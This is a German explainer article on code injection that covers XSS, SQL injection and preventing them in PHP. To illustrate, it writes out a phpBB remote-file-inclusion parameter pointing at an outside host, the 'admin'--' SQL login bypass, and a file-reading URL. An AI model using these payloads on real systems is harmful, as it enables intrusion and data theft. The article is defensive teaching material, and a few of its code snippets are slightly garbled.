Code Injection

Was ist Code Injection?

Angreifer schleusen bei der Methode der Code Injection Code auf den Zielserver oder in ein Programm ein und lassen diesen dort ausführen. Ziel solcher Attacken ist die Manipulation von Einträgen in der Datenbank, von Scripten und Dateien. Das Potenzial für gravierende Schäden ist sehr groß.

Code Injections kommen beim Cross Site Scripting (XSS) in Bereichen dynamischer Webseiten zum Einsatz. Überall dort also, wo Anwender selbst Einträge vornehmen und Informationen übertragen können. Das Cross Site Scripting nutzt eine Sicherheitslücke aus, um Daten von einer Webseite zu verändern. XSS gehört daher zu den aktiven Angriffsformen. Je nach Schwachstelle manipuliert der Cyberkriminelle das Verhalten der Anwendung und schleust einen Code in das Programm ein, den die Anwendung dann vollständig übernimmt. Im Bereich der Web Security gehören zu den Möglichkeiten von Code Injections unter anderem SQL Injection, Webscript Injection, XML Injection, JSON Injection, OS Command Injection und YPATH Injection.

Der Browser stellt die manipulierte Webseite vollständig dar und erkennt den tatsächlichen Zweck des enthaltenen Codes nicht. Der schadhafte Code ist Teil der Seite, Sicherheitsvorkehrungen wie das Einsetzen von Verschlüsselungstechniken helfen nicht. Typische Ziele von Cyberkriminellen bei Attacken mit Code Injections sind Foren, Gästebücher, private Nachrichten und ähnliche Anwendungen, die die übermittelten Daten kaum auf Risiken prüfen. Diese Kommunikationsmittel eignen sich daher gut zum Injizieren von schadhaftem Code. Der Angreifer kann nach erfolgreicher Attacke die komplette Datenbank auslesen und Dateien auf dem Server manipulieren. Potenzielle Code-Injection-Schwachstellen sind zu vermeiden.

Beispiel: eine Webseite umleiten

Typisches Ziel für Code Injection in PHP-Code kann die gewünschte Umleitung der Seite sein. Zum Beispiel gab es beim Freeware-Foren-Tool phpBB eine Sicherheitslücke, das Programm wurde anfällig auf XSS.

Die Funktionsweise: Das Tool lädt mit der Anweisung

include_once($phpbb_root_path=’common.php’)

die „common.php“ Datei aus dem Root-Verzeichnis. Angreifer können der Seite stattdessen Code übergeben wie

`„/plugin.php&phpbb_root_path=http://injection.de“`. In der Folge führt die Seite die Datei `http://injection.de/common.php` aus.

Was ist SQL Injection?

SQL Injection ist der am häufigsten eingesetzte Vertreter unter den Code Injections, SQL Statements werden dabei an identifizierten Schwachstellen eingesetzt. Häufigstes Einsatzgebiet ist der Angriff auf ein Content Management System (CMS) wie WordPress und Joomla!, das auf eine SQL-Datenbank zugreift. Wenn Anwendungen keinerlei Parameter an die Datenbank auf dem Server übergeben, geht von einer SQL Injection keine Gefahr aus. Möglich ist eine SQL Injection nur mit Kenntnis einer Sicherheitslücke im System, in der Folge eignen sich Cyberkriminelle wichtige Daten an oder übernehmen die Kontrolle über den Server. Erreicht wird das Ziel durch das Einschleusen oder Manipulieren von SQL-Statements, auch ist die Weitergabe über URL-Parameter möglich.

Beispiel: SQL-Statementes manipulieren

Im vorhandenen Code der Webseite kann eine Login-Abfrage zu sehen sein wie

SELECT * FROM users WHERE name ='$username' AND password ='$password'

Wird in das Login-Feld jetzt "admin'--" eingetragen, erhält der Angreifer einen Zugang ohne Eingabe eines Passworts. Was passiert? Durch die Eingabe sieht der SQL-Befehl so aus:

SELECT * FROM users WHERE name ='admin'--' AND password ='wertz'. In SQL wird „--“ als Kommentarzeichen gewertet, weshalb vom ursprünglichen SQL-Befehl nur der folgende Teil ausgeführt wird: SELECT * FROM users WHERE name ='admin'. Möglich ist die Angriffsform, wenn Befehle und Scripte nicht ausreichend maskiert werden. SQL bietet bereits Werkzeuge zum Schutz vor Injection Angriffen. Dazu gehören unter anderem Prepared Statements und Stored Procedures.

Wie kann man Code Injection verhindern?

Dynamisch und in PHP mittels include() oder eval() ausgeführter Code stellt ein großes Risiko dar. Das Überschreiben von Dateien auf dem Server sollte ausgeschlossen sein. Die Funktion include() darf zum Beispiel nicht einfach in Form von

include ($seiteXY“)

aufgerufen werden, denn Angreifer können den Parameter $seite leicht manipulieren und auf diesem Weg beliebige Dateien auf dem Server ausführen. In einem geschützten Verzeichnis verwahrte Dateien kann sich der Cyberkriminelle dann einfach mit dem Aufruf

index.php?seite:sicheres_verzeichnis/sensible_daten.txt

anschauen.

Das saubere Programmieren einer Anwendung reicht als Schutz nicht aus. Programmierer sollten grundsätzlich allen Daten misstrauen, die in irgendeiner Form von außen manipuliert werden können. Sämtliche von außen kommende Dateien und Eingaben sind als unsicher anzusehen und entsprechend zu prüfen. Es werden also auch keine ungefilterten Strings zur weiteren Verarbeitung einfach durchgereicht, stattdessen ersetzt der Programmierer beispielsweise die Steuerzeichen durch ihre Escapesequenzen. Eine Alternative zur kompletten Sperrung ist die Verwendung listenbasierter Filter, die sicherstellen, dass nur potenziell schädliche Tags abgeändert werden. Das Einhalten der Vorsichtsmaßnahmen kann Angriffe mit Code Injections erfolgreich abwehren. Betreiber von Webseiten müssen die verwendete Software und alle installierten Erweiterungen immer updaten, damit neu bekannt gewordene Schwachstellen schnell geschlossen werden und Angreifern kein Einfallstor bieten.

Mehr Informationen über Code Injection